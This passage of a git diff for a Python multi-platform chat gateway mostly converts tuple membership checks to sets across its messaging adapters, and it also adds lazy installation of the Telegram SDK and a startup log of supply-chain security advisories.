"DIRECT_MESSAGE_CREATE": await self._handle_dm_message(d, msg_id, content, author, timestamp) @@ -1864,7 +1864,7 @@ def _guess_ext_from_data(data: bytes) -> str: return ".wav" if data[:4] == b"fLaC": return ".flac" - if data[:2] in (b"\xff\xfb", b"\xff\xf3", b"\xff\xf2"): + if data[:2] in {b"\xff\xfb", b"\xff\xf3", b"\xff\xf2"}: return ".mp3" if data[:4] == b"\x30\x26\xb2\x75" or data[:4] == b"\x4f\x67\x67\x53": return ".ogg" @@ -2033,7 +2033,7 @@ def _resolve_stt_config(self) -> Optional[Dict[str, str]]: "base_url": base_url, "api_key": api_key, "model": model - or ("glm-asr" if provider in ("zai", "glm") else "whisper-1"), + or ("glm-asr" if provider in {"zai", "glm"} else "whisper-1"), } # 2. QQ-specific env vars (set by `hermes setup gateway` / `hermes gateway`) @@ -2115,7 +2115,7 @@ async def _convert_audio_to_wav( if urlparse(source_url).path else "" ) - if not ext or ext not in ( + if not ext or ext not in { ".silk", ".amr", ".mp3", @@ -2124,7 +2124,7 @@ async def _convert_audio_to_wav( ".m4a", ".aac", ".flac", - ): + }: ext = self._guess_ext_from_data(audio_data) with tempfile.NamedTemporaryFile(suffix=ext, delete=False) as tmp_src: @@ -2870,7 +2870,7 @@ async def _load_media( raise ValueError("Media source is required") parsed = urlparse(source) - if parsed.scheme in ("http", "https"): + if parsed.scheme in {"http", "https"}: # For URLs, pass through directly to the upload API content_type = mimetypes.guess_type(source)[0] or "application/octet-stream" resolved_name = file_name or Path(parsed.path).name or "media" @@ -2966,7 +2966,7 @@ async def get_chat_info(self, chat_id: str) -> Dict[str, Any]: chat_type = self._guess_chat_type(chat_id) return { "name": chat_id, - "type": "group" if chat_type in ("group", "guild") else "dm", + "type": "group" if chat_type in {"group", "guild"} else "dm", } # ------------------------------------------------------------------ @@ -2975,7 +2975,7 @@ async def get_chat_info(self, chat_id: str) -> Dict[str, Any]: @staticmethod def _is_url(source: str) -> bool: - return urlparse(str(source)).scheme in ("http", "https") + return urlparse(str(source)).scheme in {"http", "https"} def _guess_chat_type(self, chat_id: str) -> str: """Determine chat type from stored inbound metadata, fallback to 'c2c'.""" diff --git a/gateway/platforms/qqbot/chunked_upload.py b/gateway/platforms/qqbot/chunked_upload.py index d0a6e5d226b5..416dfc52a980 100644 --- a/gateway/platforms/qqbot/chunked_upload.py +++ b/gateway/platforms/qqbot/chunked_upload.py @@ -239,7 +239,7 @@ async def upload( :raises UploadFileTooLargeError: When the file exceeds the platform limit. :raises RuntimeError: On other API or I/O failures. """ - if chat_type not in ("c2c", "group"): + if chat_type not in {"c2c", "group"}: raise ValueError( f"ChunkedUploader: unsupported chat_type {chat_type!r}" ) @@ -592,8 +592,7 @@ async def _run_with_concurrency( concurrency: int, ) -> None: """Run a list of thunks with a bounded number in flight at once.""" - if concurrency < 1: - concurrency = 1 + concurrency = max(concurrency, 1) sem = asyncio.Semaphore(concurrency) async def _wrap(thunk: Callable[[], Awaitable[None]]) -> None: diff --git a/gateway/platforms/signal.py b/gateway/platforms/signal.py index a0053317f7ec..118eb688cc92 100644 --- a/gateway/platforms/signal.py +++ b/gateway/platforms/signal.py @@ -99,11 +99,11 @@ def _guess_extension(data: bytes) -> str: def _is_image_ext(ext: str) -> bool: - return ext.lower() in (".jpg", ".jpeg", ".png", ".gif", ".webp") + return ext.lower() in {".jpg", ".jpeg", ".png", ".gif", ".webp"} def _is_audio_ext(ext: str) -> bool: - return ext.lower() in (".mp3", ".wav", ".ogg", ".m4a", ".aac") + return ext.lower() in {".mp3", ".wav", ".ogg", ".m4a", ".aac"} _EXT_TO_MIME = { @@ -1449,7 +1449,7 @@ def _reactions_enabled(self, event: "MessageEvent" = None) -> bool: contacts from seeing the 👀 reaction (which fires before run.py's auth gate and would otherwise reveal that a bot is listening). """ - if os.getenv("SIGNAL_REACTIONS", "true").lower() in ("false", "0", "no"): + if os.getenv("SIGNAL_REACTIONS", "true").lower() in {"false", "0", "no"}: return False if event is not None: sender = getattr(getattr(event, "source", None), "user_id", None) diff --git a/gateway/platforms/slack.py b/gateway/platforms/slack.py index 60912bc18e0d..7fbefd446caf 100644 --- a/gateway/platforms/slack.py +++ b/gateway/platforms/slack.py @@ -935,7 +935,7 @@ def _dm_top_level_threads_as_sessions(self) -> bool: raw = self.config.extra.get("dm_top_level_threads_as_sessions") if raw is None: return True # default: each DM thread is its own session - return str(raw).strip().lower() in ("1", "true", "yes", "on") + return str(raw).strip().lower() in {"1", "true", "yes", "on"} def _resolve_thread_ts( self, @@ -1300,7 +1300,7 @@ async def _remove_reaction( def _reactions_enabled(self) -> bool: """Check if message reactions are enabled via config/env.""" - return os.getenv("SLACK_REACTIONS", "true").lower() not in ("false", "0", "no") + return os.getenv("SLACK_REACTIONS", "true").lower() not in {"false", "0", "no"} async def on_processing_start(self, event: MessageEvent) -> None: """Add an in-progress reaction when message processing begins.""" @@ -1773,7 +1773,7 @@ async def _handle_slack_message(self, event: dict) -> None: # Ignore message edits and deletions subtype = event.get("subtype") - if subtype in ("message_changed", "message_deleted"): + if subtype in {"message_changed", "message_deleted"}: return original_text = event.get("text", "") @@ -1892,7 +1892,7 @@ async def _handle_slack_message(self, event: dict) -> None: channel_type = event.get("channel_type", "") if not channel_type and channel_id.startswith("D"): channel_type = "im" - is_dm = channel_type in ("im", "mpim") # Both 1:1 and group DMs + is_dm = channel_type in {"im", "mpim"} # Both 1:1 and group DMs # Build thread_ts for session keying. # In channels: fall back to ts so each top-level @mention starts a @@ -2033,7 +2033,7 @@ async def _handle_slack_message(self, event: dict) -> None: if mimetype.startswith("image/") and url: try: ext = "." + mimetype.split("/")[-1].split(";")[0] - if ext not in (".jpg", ".jpeg", ".png", ".gif", ".webp"): + if ext not in {".jpg", ".jpeg", ".png", ".gif", ".webp"}: ext = ".jpg" # Slack private URLs require the bot token as auth header cached = await self._download_slack_file(url, ext, team_id=team_id) @@ -2049,7 +2049,7 @@ async def _handle_slack_message(self, event: dict) -> None: elif mimetype.startswith("audio/") and url: try: ext = "." + mimetype.split("/")[-1].split(";")[0] - if ext not in (".ogg", ".mp3", ".wav", ".webm", ".m4a"): + if ext not in {".ogg", ".mp3", ".wav", ".webm", ".m4a"}: ext = ".ogg" cached = await self._download_slack_file(url, ext, audio=True, team_id=team_id) media_urls.append(cached) @@ -2737,7 +2737,7 @@ async def _handle_slash_command(self, command: dict) -> None: if team_id and channel_id: self._channel_team[channel_id] = team_id - if slash_name in ("hermes", ""): + if slash_name in {"hermes", ""}: # Legacy /hermes [args] routing + free-form questions. # Empty slash_name falls into this branch for backward compat # with any caller that didn't populate command["command"]. @@ -2932,9 +2932,9 @@ def _slack_require_mention(self) -> bool: configured = self.config.extra.get("require_mention") if configured is not None: if isinstance(configured, str): - return configured.lower() not in ("false", "0", "no", "off") + return configured.lower() not in {"false", "0", "no", "off"} return bool(configured) - return os.getenv("SLACK_REQUIRE_MENTION", "true").lower() not in ("false", "0", "no", "off") + return os.getenv("SLACK_REQUIRE_MENTION", "true").lower() not in {"false", "0", "no", "off"} def _slack_strict_mention(self) -> bool: """When true, channel threads require an explicit @-mention on every @@ -2944,9 +2944,9 @@ def _slack_strict_mention(self) -> bool: configured = self.config.extra.get("strict_mention") if configured is not None: if isinstance(configured, str): - return configured.lower() in ("true", "1", "yes", "on") + return configured.lower() in {"true", "1", "yes", "on"} return bool(configured) - return os.getenv("SLACK_STRICT_MENTION", "false").lower() in ("true", "1", "yes", "on") + return os.getenv("SLACK_STRICT_MENTION", "false").lower() in {"true", "1", "yes", "on"} def _slack_free_response_channels(self) -> set: """Return channel IDs where no @mention is required.""" diff --git a/gateway/platforms/telegram.py b/gateway/platforms/telegram.py index c1f312783a4d..e91a38ac6b10 100644 --- a/gateway/platforms/telegram.py +++ b/gateway/platforms/telegram.py @@ -103,8 +103,58 @@ class _MockContextTypes: def check_telegram_requirements() -> bool: - """Check if Telegram dependencies are available.""" - return TELEGRAM_AVAILABLE + """Check if Telegram dependencies are available. + + If python-telegram-bot is missing, attempts to lazy-install it via + ``tools.lazy_deps.ensure("platform.telegram")``. After a successful + install, re-imports the SDK and flips ``TELEGRAM_AVAILABLE`` to True + so the adapter's class-level type aliases get rebound. + """ + global TELEGRAM_AVAILABLE, Update, Bot, Message, InlineKeyboardButton + global InlineKeyboardMarkup, LinkPreviewOptions, Application + global CommandHandler, CallbackQueryHandler, TelegramMessageHandler + global ContextTypes, filters, ParseMode, ChatType, HTTPXRequest + if TELEGRAM_AVAILABLE: + return True + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("platform.telegram", prompt=False) + except Exception: + return False + try: + from telegram import Update as _Update, Bot as _Bot, Message as _Message + from telegram import InlineKeyboardButton as _IKB, InlineKeyboardMarkup as _IKM + try: + from telegram import LinkPreviewOptions as _LPO + except ImportError: + _LPO = None + from telegram.ext import ( + Application as _App, CommandHandler as _CH, + CallbackQueryHandler as _CQH, + MessageHandler as _MH, + ContextTypes as _CT, filters as _filters, + ) + from telegram.constants import ParseMode as _PM, ChatType as _CtT + from telegram.request import HTTPXRequest as _HR + except ImportError: + return False + Update = _Update + Bot = _Bot + Message = _Message + InlineKeyboardButton = _IKB + InlineKeyboardMarkup = _IKM + LinkPreviewOptions = _LPO + Application = _App + CommandHandler = _CH + CallbackQueryHandler = _CQH + TelegramMessageHandler = _MH + ContextTypes = _CT + filters = _filters + ParseMode = _PM + ChatType = _CtT + HTTPXRequest = _HR + TELEGRAM_AVAILABLE = True + return True # Matches every character that MarkdownV2 requires to be backslash-escaped @@ -616,7 +666,7 @@ def _looks_like_polling_conflict(error: Exception) -> bool: def _looks_like_network_error(error: Exception) -> bool: """Return True for transient network errors that warrant a reconnect attempt.""" name = error.__class__.__name__.lower() - if name in ("networkerror", "timedout", "connectionerror"): + if name in {"networkerror", "timedout", "connectionerror"}: return True try: from telegram.error import NetworkError, TimedOut @@ -632,9 +682,9 @@ def _coerce_bool_extra(self, key: str, default: bool = False) -> bool: return default if isinstance(value, str): lowered = value.strip().lower() - if lowered in ("true", "1", "yes", "on"): + if lowered in {"true", "1", "yes", "on"}: return True - if lowered in ("false", "0", "no", "off"): + if lowered in {"false", "0", "no", "off"}: return False return default return bool(value) @@ -1171,7 +1221,7 @@ def _env_float(name: str, default: float) -> float: "write_timeout": _env_float("HERMES_TELEGRAM_HTTP_WRITE_TIMEOUT", 20.0), } - disable_fallback = (os.getenv("HERMES_TELEGRAM_DISABLE_FALLBACK_IPS", "").strip().lower() in ("1", "true", "yes", "on")) + disable_fallback = (os.getenv("HERMES_TELEGRAM_DISABLE_FALLBACK_IPS", "").strip().lower() in {"1", "true", "yes", "on"}) fallback_ips = self._fallback_ips() if not fallback_ips: fallback_ips = await discover_fallback_ips() @@ -1917,7 +1967,7 @@ def supports_draft_streaming( """ if not self._bot or not hasattr(self._bot, "send_message_draft"): return False - return (chat_type or "").lower() in ("dm", "private") + return (chat_type or "").lower() in {"dm", "private"} async def send_draft( self, @@ -2723,7 +2773,7 @@ async def send_voice( with open(audio_path, "rb") as audio_file: ext = os.path.splitext(audio_path)[1].lower() # .ogg / .opus files -> send as voice (round playable bubble) - if ext in (".ogg", ".opus"): + if ext in {".ogg", ".opus"}: _voice_thread = self._metadata_thread_id(metadata) reply_to_id = self._reply_to_message_id_for_send(reply_to, metadata) voice_thread_kwargs = self._thread_kwargs_for_send( @@ -2747,7 +2797,7 @@ async def send_voice( "voice", reset_media=lambda: audio_file.seek(0), ) - elif ext in (".mp3", ".m4a"): + elif ext in {".mp3", ".m4a"}: # Telegram's Bot API sendAudio only accepts MP3 / M4A. _audio_thread = self._metadata_thread_id(metadata) reply_to_id = self._reply_to_message_id_for_send(reply_to, metadata) @@ -3498,18 +3548,18 @@ def _telegram_require_mention(self) -> bool: configured = self.config.extra.get("require_mention") if configured is not None: if isinstance(configured, str): - return configured.lower() in ("true", "1", "yes", "on") + return configured.lower() in {"true", "1", "yes", "on"} return bool(configured) - return os.getenv("TELEGRAM_REQUIRE_MENTION", "false").lower() in ("true", "1", "yes", "on") + return os.getenv("TELEGRAM_REQUIRE_MENTION", "false").lower() in {"true", "1", "yes", "on"} def _telegram_guest_mode(self) -> bool: """Return whether non-allowlisted groups may trigger via direct @mention.""" configured = self.config.extra.get("guest_mode") if configured is not None: if isinstance(configured, str): - return configured.lower() in ("true", "1", "yes", "on") + return configured.lower() in {"true", "1", "yes", "on"} return bool(configured) - return os.getenv("TELEGRAM_GUEST_MODE", "false").lower() in ("true", "1", "yes", "on") + return os.getenv("TELEGRAM_GUEST_MODE", "false").lower() in {"true", "1", "yes", "on"} def _telegram_free_response_chats(self) -> set[str]: raw = self.config.extra.get("free_response_chats") @@ -3598,7 +3648,7 @@ def _is_group_chat(self, message: Message) -> bool: if not chat: return False chat_type = str(getattr(chat, "type", "")).split(".")[-1].lower() - return chat_type in ("group", "supergroup") + return chat_type in {"group", "supergroup"} def _is_reply_to_bot(self, message: Message) -> bool: if not self._bot or not getattr(message, "reply_to_message", None): @@ -4157,7 +4207,7 @@ async def _handle_media_message(self, update: Update, context: ContextTypes.DEFA # For text files, inject content into event.text (capped at 100 KB) MAX_TEXT_INJECT_BYTES = 100 * 1024 - if ext in (".md", ".txt") and len(raw_bytes) <= MAX_TEXT_INJECT_BYTES: + if ext in {".md", ".txt"} and len(raw_bytes) <= MAX_TEXT_INJECT_BYTES: try: text_content = raw_bytes.decode("utf-8") display_name = original_filename or f"document{ext}" @@ -4396,7 +4446,7 @@ def _build_message_event( # Determine chat type chat_type = "dm" - if chat.type in (ChatType.GROUP, ChatType.SUPERGROUP): + if chat.type in {ChatType.GROUP, ChatType.SUPERGROUP}: chat_type = "group" elif chat.type == ChatType.CHANNEL: chat_type = "channel" @@ -4512,7 +4562,7 @@ def _build_message_event( def _reactions_enabled(self) -> bool: """Check if message reactions are enabled via config/env.""" - return os.getenv("TELEGRAM_REACTIONS", "false").lower() not in ("false", "0", "no") + return os.getenv("TELEGRAM_REACTIONS", "false").lower() not in {"false", "0", "no"} async def _set_reaction(self, chat_id: str, message_id: str, emoji: str) -> bool: """Set a single emoji reaction on a Telegram message.""" diff --git a/gateway/platforms/telegram_network.py b/gateway/platforms/telegram_network.py index 8fe4c2809345..2975c6f029ce 100644 --- a/gateway/platforms/telegram_network.py +++ b/gateway/platforms/telegram_network.py @@ -59,7 +59,7 @@ class TelegramFallbackTransport(httpx.AsyncBaseTransport): """ def __init__(self, fallback_ips: Iterable[str], **transport_kwargs): - self._fallback_ips = [ip for ip in dict.fromkeys(_normalize_fallback_ips(fallback_ips))] + self._fallback_ips = list(dict.fromkeys(_normalize_fallback_ips(fallback_ips))) proxy_url = _resolve_proxy_url(target_hosts=[_TELEGRAM_API_HOST, *self._fallback_ips]) if proxy_url and "proxy" not in transport_kwargs: transport_kwargs["proxy"] = proxy_url diff --git a/gateway/platforms/wecom.py b/gateway/platforms/wecom.py index 769743794dff..d7a5c1d9a49e 100644 --- a/gateway/platforms/wecom.py +++ b/gateway/platforms/wecom.py @@ -295,7 +295,7 @@ async def _open_connection(self) -> None: auth_payload = await self._wait_for_handshake(req_id) errcode = auth_payload.get("errcode", 0) - if errcode not in (0, None): + if errcode not in {0, None}: errmsg = auth_payload.get("errmsg", "authentication failed") raise RuntimeError(f"{errmsg} (errcode={errcode})") @@ -320,7 +320,7 @@ async def _wait_for_handshake(self, req_id: str) -> Dict[str, Any]: if self._payload_req_id(payload) == req_id: return payload logger.debug("[%s] Ignoring pre-auth payload: %s", self.name, payload.get("cmd")) - elif msg.type in (aiohttp.WSMsgType.CLOSED, aiohttp.WSMsgType.CLOSE, aiohttp.WSMsgType.ERROR): + elif msg.type in {aiohttp.WSMsgType.CLOSED, aiohttp.WSMsgType.CLOSE, aiohttp.WSMsgType.ERROR}: raise RuntimeError("WeCom websocket closed during authentication") async def _listen_loop(self) -> None: @@ -360,7 +360,7 @@ async def _read_events(self) -> None: payload = self._parse_json(msg.data) if payload: await self._dispatch_payload(payload) - elif msg.type in (aiohttp.WSMsgType.CLOSE, aiohttp.WSMsgType.CLOSED, aiohttp.WSMsgType.ERROR): + elif msg.type in {aiohttp.WSMsgType.CLOSE, aiohttp.WSMsgType.CLOSED, aiohttp.WSMsgType.ERROR}: raise RuntimeError("WeCom websocket closed") async def _heartbeat_loop(self) -> None: @@ -998,7 +998,7 @@ def _apply_file_size_limits(file_size: int, detected_type: str, content_type: Op @staticmethod def _response_error(response: Dict[str, Any]) -> Optional[str]: errcode = response.get("errcode", 0) - if errcode in (0, None): + if errcode in {0, None}: return None errmsg = str(response.get("errmsg") or "unknown error") return f"WeCom errcode {errcode}: {errmsg}" diff --git a/gateway/platforms/weixin.py b/gateway/platforms/weixin.py index 1c20b3f29020..1c9fec0af7fb 100644 --- a/gateway/platforms/weixin.py +++ b/gateway/platforms/weixin.py @@ -605,7 +605,7 @@ def _assert_weixin_cdn_url(url: str) -> None: except Exception as exc: # noqa: BLE001 raise ValueError(f"Unparseable media URL: {url!r}") from exc - if scheme not in ("http", "https"): + if scheme not in {"http", "https"}: raise ValueError( f"Media URL has disallowed scheme {scheme!r}; only http/https are permitted." ) @@ -983,7 +983,7 @@ def _extract_text(item_list: List[Dict[str, Any]]) -> str: ref = item.get("ref_msg") or {} ref_item = ref.get("message_item") or {} ref_type = ref_item.get("type") - if ref_type in (ITEM_IMAGE, ITEM_VIDEO, ITEM_FILE, ITEM_VOICE): + if ref_type in {ITEM_IMAGE, ITEM_VIDEO, ITEM_FILE, ITEM_VOICE}: title = ref.get("title") or "" prefix = f"[引用媒体: {title}]\n" if title else "[引用媒体]\n" return f"{prefix}{text}".strip() @@ -1331,7 +1331,7 @@ async def _poll_loop(self) -> None: ret = response.get("ret", 0) errcode = response.get("errcode", 0) - if ret not in (0, None) or errcode not in (0, None): + if ret not in {0, None} or errcode not in {0, None}: if (ret == SESSION_EXPIRED_ERRCODE or errcode == SESSION_EXPIRED_ERRCODE or _is_stale_session_ret(ret, errcode, response.get("errmsg"))): logger.error("[%s] Session expired; pausing for 10 minutes", self.name) @@ -1601,7 +1601,7 @@ async def _send_text_chunk( if resp and isinstance(resp, dict): ret = resp.get("ret") errcode = resp.get("errcode") - if (ret is not None and ret not in (0,)) or (errcode is not None and errcode not in (0,)): + if (ret is not None and ret not in {0,}) or (errcode is not None and errcode not in {0,}): is_session_expired = ( ret == SESSION_EXPIRED_ERRCODE or errcode == SESSION_EXPIRED_ERRCODE diff --git a/gateway/platforms/whatsapp.py b/gateway/platforms/whatsapp.py index 8e21736441c2..2fb6fc133291 100644 --- a/gateway/platforms/whatsapp.py +++ b/gateway/platforms/whatsapp.py @@ -301,9 +301,9 @@ def _whatsapp_require_mention(self) -> bool: configured = self.config.extra.get("require_mention") if configured is not None: if isinstance(configured, str): - return configured.lower() in ("true", "1", "yes", "on") + return configured.lower() in {"true", "1", "yes", "on"} return bool(configured) - return os.getenv("WHATSAPP_REQUIRE_MENTION", "false").lower() in ("true", "1", "yes", "on") + return os.getenv("WHATSAPP_REQUIRE_MENTION", "false").lower() in {"true", "1", "yes", "on"} def _whatsapp_free_response_chats(self) -> set[str]: raw = self.config.extra.get("free_response_chats") @@ -679,7 +679,7 @@ async def _check_managed_bridge_exit(self) -> Optional[str]: # getattr-with-default keeps tests that construct the adapter via # ``WhatsAppAdapter.__new__`` (bypassing __init__) working without # every _make_adapter() helper having to seed the attribute. - if getattr(self, "_shutting_down", False) and returncode in (0, -2, -15): + if getattr(self, "_shutting_down", False) and returncode in {0, -2, -15}: logger.info( "[%s] Bridge exited during shutdown (code %d).", self.name, @@ -1183,7 +1183,7 @@ async def _build_message_event(self, data: Dict[str, Any]) -> Optional[MessageEv if msg_type == MessageType.DOCUMENT and cached_urls: for doc_path in cached_urls: ext = Path(doc_path).suffix.lower() - if ext in (".txt", ".md", ".csv", ".json", ".xml", ".yaml", ".yml", ".log", ".py", ".js", ".ts", ".html", ".css"): + if ext in {".txt", ".md", ".csv", ".json", ".xml", ".yaml", ".yml", ".log", ".py", ".js", ".ts", ".html", ".css"}: try: file_size = Path(doc_path).stat().st_size if file_size > MAX_TEXT_INJECT_BYTES: diff --git a/gateway/platforms/yuanbao.py b/gateway/platforms/yuanbao.py index f08f7266e196..d79da7856ae4 100644 --- a/gateway/platforms/yuanbao.py +++ b/gateway/platforms/yuanbao.py @@ -2228,7 +2228,7 @@ async def _fetch_resource_url(adapter, resource_id: str) -> str: resp.raise_for_status() payload = resp.json() code = payload.get("code") - if code not in (None, 0): + if code not in {None, 0}: raise RuntimeError( f"resource/v1/download failed: code={code}, msg={payload.get('msg', '')}" ) @@ -2391,7 +2391,7 @@ async def _collect_observed_media( rid = m.group(2) kind, _, filename = head.partition(":") kind = kind.strip() - if kind not in ("image", "file"): + if kind not in {"image", "file"}: continue if rid in seen: continue @@ -2993,10 +2993,10 @@ async def _handle_frame(self, raw: bytes) -> None: # Fire-and-forget heartbeat ACKs — server always responds but callers don't # wait on these; silently discard to avoid "Unmatched Response" noise. - if cmd_type == CMD_TYPE["Response"] and cmd in ( + if cmd_type == CMD_TYPE["Response"] and cmd in { "send_group_heartbeat", "send_private_heartbeat", - ): + }: logger.debug("[%s] Heartbeat ACK received: cmd=%s msg_id=%s", adapter.name, cmd, msg_id) return @@ -3369,7 +3369,7 @@ async def handle( # Remove keys already passed explicitly to avoid "multiple values" TypeError fwd_kwargs = { k: v for k, v in kwargs.items() - if k not in ("file_uuid", "filename", "content_type") + if k not in {"file_uuid", "filename", "content_type"} } msg_body = self.build_msg_body( upload_result, diff --git a/gateway/platforms/yuanbao_media.py b/gateway/platforms/yuanbao_media.py index 39f8d88d8a38..87eefcddae2c 100644 --- a/gateway/platforms/yuanbao_media.py +++ b/gateway/platforms/yuanbao_media.py @@ -150,7 +150,7 @@ def _parse_jpeg_size(buf: bytes) -> Optional[dict[str, int]]: i += 1 continue marker = buf[i + 1] - if marker in (0xC0, 0xC2): + if marker in {0xC0, 0xC2}: h = struct.unpack(">H", buf[i + 5: i + 7])[0] w = struct.unpack(">H", buf[i + 7: i + 9])[0] return {"width": w, "height": h} @@ -165,7 +165,7 @@ def _parse_gif_size(buf: bytes) -> Optional[dict[str, int]]: if len(buf) < 10: return None sig = buf[:6].decode("ascii", errors="replace") - if sig not in ("GIF87a", "GIF89a"): + if sig not in {"GIF87a", "GIF89a"}: return None w = struct.unpack(" Optional[dict]: "trace_id": trace_id, } # 过滤空值(保持 API 整洁) - return {k: v for k, v in result.items() if v or k in ("msg_body", "msg_seq")} + return {k: v for k, v in result.items() if v or k in {"msg_body", "msg_seq"}} except Exception as e: if DEBUG_MODE: logger.debug("[yuanbao_proto] decode_inbound_push failed: %s", e) diff --git a/gateway/run.py b/gateway/run.py index cab37f0cba4d..559adae89bf0 100644 --- a/gateway/run.py +++ b/gateway/run.py @@ -268,9 +268,8 @@ def _build_replay_entry(role: str, content: Any, msg: Dict[str, Any]) -> Dict[st # Preserve empty-string sentinel for thinking-mode replay. if _rval is None: continue - else: - if not _rval: - continue + elif not _rval: + continue entry[_rkey] = _rval return entry @@ -289,7 +288,7 @@ def _last_transcript_timestamp(history: Optional[List[Dict[str, Any]]]) -> Any: if not isinstance(msg, dict): continue role = msg.get("role") - if not role or role in ("session_meta", "system"): + if not role or role in {"session_meta", "system"}: continue ts = msg.get("timestamp") if ts is not None: @@ -473,7 +472,7 @@ def _reload_runtime_env_preserving_config_authority() -> None: # gateway resolves these to Path.home() later (line ~255). # Writing the raw placeholder here would just be noise. # Only bridge explicit absolute paths from config.yaml. - if _cfg_key == "cwd" and str(_val) in (".", "auto", "cwd"): + if _cfg_key == "cwd" and str(_val) in {".", "auto", "cwd"}: continue # Expand shell tilde in cwd so subprocess.Popen never # receives a literal "~/" which the kernel rejects. @@ -617,7 +616,7 @@ def _reload_runtime_env_preserving_config_authority() -> None: # to home directory. MESSAGING_CWD is accepted as a backward-compat # fallback (deprecated — the warning above tells users to migrate). _configured_cwd = os.environ.get("TERMINAL_CWD", "") -if not _configured_cwd or _configured_cwd in (".", "auto", "cwd"): +if not _configured_cwd or _configured_cwd in {".", "auto", "cwd"}: _fallback = os.getenv("MESSAGING_CWD") or str(Path.home()) os.environ["TERMINAL_CWD"] = _fallback @@ -850,7 +849,7 @@ def _skill_slug_from_frontmatter(skill_md: Path) -> tuple[str | None, str | None if line.startswith("name:"): raw = line.split(":", 1)[1].strip() # Strip YAML quote wrappers if present - if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in ('"', "'"): + if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in {'"', "'"}: raw = raw[1:-1] declared_name = raw.strip() break @@ -892,7 +891,7 @@ def _check_unavailable_skill(command_name: str) -> str | None: if not skills_dir.exists(): continue for skill_md in skills_dir.rglob("SKILL.md"): - if any(part in ('.git', '.github', '.hub', '.archive') for part in skill_md.parts): + if any(part in {'.git', '.github', '.hub', '.archive'} for part in skill_md.parts): continue slug, declared_name = _skill_slug_from_frontmatter(skill_md) if not slug or not declared_name: @@ -1034,7 +1033,7 @@ def _parse_session_key(session_key: str) -> "dict | None": "chat_type": parts[3], "chat_id": parts[4], } - if len(parts) > 5 and parts[3] in ("dm", "thread"): + if len(parts) > 5 and parts[3] in {"dm", "thread"}: result["thread_id"] = parts[5] return result return None @@ -1562,7 +1561,7 @@ def _sync_voice_mode_state_to_adapter(self, adapter) -> None: enabled_chats.clear() enabled_chats.update( key[len(prefix):] for key, mode in self._voice_mode.items() - if mode in ("voice_only", "all") and key.startswith(prefix) + if mode in {"voice_only", "all"} and key.startswith(prefix) ) async def _safe_adapter_disconnect(self, adapter, platform) -> None: @@ -1992,7 +1991,7 @@ def _queue_during_drain_enabled(self) -> bool: # Both "queue" and "steer" modes imply the user doesn't want messages # to be lost during restart — queue them for the newly-spawned gateway # process to pick up. "interrupt" mode drops them (current behaviour). - return self._restart_requested and self._busy_input_mode in ("queue", "steer") + return self._restart_requested and self._busy_input_mode in {"queue", "steer"} # -------- /queue FIFO helpers -------------------------------------- # /queue must produce one full agent turn per invocation, in FIFO @@ -2402,7 +2401,7 @@ def _load_background_notifications_mode() -> str: raw = cfg_get(cfg, "display", "background_process_notifications") if raw is False: mode = "off" - elif raw not in (None, ""): + elif raw not in {None, ""}: mode = str(raw) except Exception: pass @@ -3248,7 +3247,7 @@ async def start(self) -> bool: # for this process's lifetime. try: _redact_raw = os.getenv("HERMES_REDACT_SECRETS", "true") - _redact_on = _redact_raw.lower() in ("1", "true", "yes", "on") + _redact_on = _redact_raw.lower() in {"1", "true", "yes", "on"} if _redact_on: logger.info( "Secret redaction: ENABLED (tool output, logs, and chat " @@ -3276,6 +3275,30 @@ async def start(self) -> bool: write_runtime_status(gateway_state="starting", exit_reason=None) except Exception: pass + + # Log any active supply-chain security advisories. Operators see this + # in gateway.log and `hermes status` surfaces it; we do NOT block + # startup or surface it inline to user messages, since the gateway + # operator is the one who can act on it (uninstall the package, + # rotate credentials). See hermes_cli/security_advisories.py. + try: + from hermes_cli.security_advisories import ( + detect_compromised, + gateway_log_message, + ) + _adv_hits = detect_compromised() + _adv_msg = gateway_log_message(_adv_hits) + if _adv_msg: + logger.warning("%s", _adv_msg) + logger.warning( + "Run `hermes doctor` on the gateway host for full " + "remediation steps." + ) + except Exception: + logger.debug( + "security advisory check failed at gateway startup", + exc_info=True, + ) # Warn if no user allowlists are configured and open access is not opted in _builtin_allowed_vars = ( @@ -3330,8 +3353,8 @@ async def start(self) -> bool: _any_allowlist = any( os.getenv(v) for v in _builtin_allowed_vars + _plugin_allowed_vars ) - _allow_all = os.getenv("GATEWAY_ALLOW_ALL_USERS", "").lower() in ("true", "1", "yes") or any( - os.getenv(v, "").lower() in ("true", "1", "yes") + _allow_all = os.getenv("GATEWAY_ALLOW_ALL_USERS", "").lower() in {"true", "1", "yes"} or any( + os.getenv(v, "").lower() in {"true", "1", "yes"} for v in _builtin_allow_all_vars + _plugin_allow_all_vars ) if not _any_allowlist and not _allow_all: @@ -4380,7 +4403,7 @@ def _collect(): # dispatcher respawns the task and it cycles into the # same state. See the longer comment on TERMINAL_KINDS # above for the failure mode this prevents. - task_terminal = task and task.status in ("done", "archived") + task_terminal = task and task.status in {"done", "archived"} if task_terminal: await asyncio.to_thread( self._kanban_unsub, sub, board_slug, @@ -4480,7 +4503,7 @@ async def _kanban_dispatcher_watcher(self) -> None: logger.warning("kanban dispatcher: config loader unavailable; disabled") return env_override = os.environ.get("HERMES_KANBAN_DISPATCH_IN_GATEWAY", "").strip().lower() - if env_override in ("0", "false", "no", "off"): + if env_override in {"0", "false", "no", "off"}: logger.info("kanban dispatcher: disabled via HERMES_KANBAN_DISPATCH_IN_GATEWAY env") return @@ -4503,8 +4526,7 @@ async def _kanban_dispatcher_watcher(self) -> None: return interval = float(kanban_cfg.get("dispatch_interval_seconds", 60) or 60) - if interval < 1.0: - interval = 1.0 # sanity floor — tighter than this is a footgun + interval = max(interval, 1.0) # sanity floor — tighter than this is a footgun # Read max_spawn config to limit concurrent kanban tasks max_spawn = kanban_cfg.get("max_spawn", None) @@ -4756,34 +4778,33 @@ async def _platform_reconnect_watcher(self) -> None: await build_channel_directory(self.adapters) except Exception: pass + # Check if the failure is non-retryable + elif adapter.has_fatal_error and not adapter.fatal_error_retryable: + self._update_platform_runtime_status( + platform.value, + platform_state="fatal", + error_code=adapter.fatal_error_code, + error_message=adapter.fatal_error_message, + ) + logger.warning( + "Reconnect %s: non-retryable error (%s), removing from retry queue", + platform.value, adapter.fatal_error_message, + ) + del self._failed_platforms[platform] else: - # Check if the failure is non-retryable - if adapter.has_fatal_error and not adapter.fatal_error_retryable: - self._update_platform_runtime_status( - platform.value, - platform_state="fatal", - 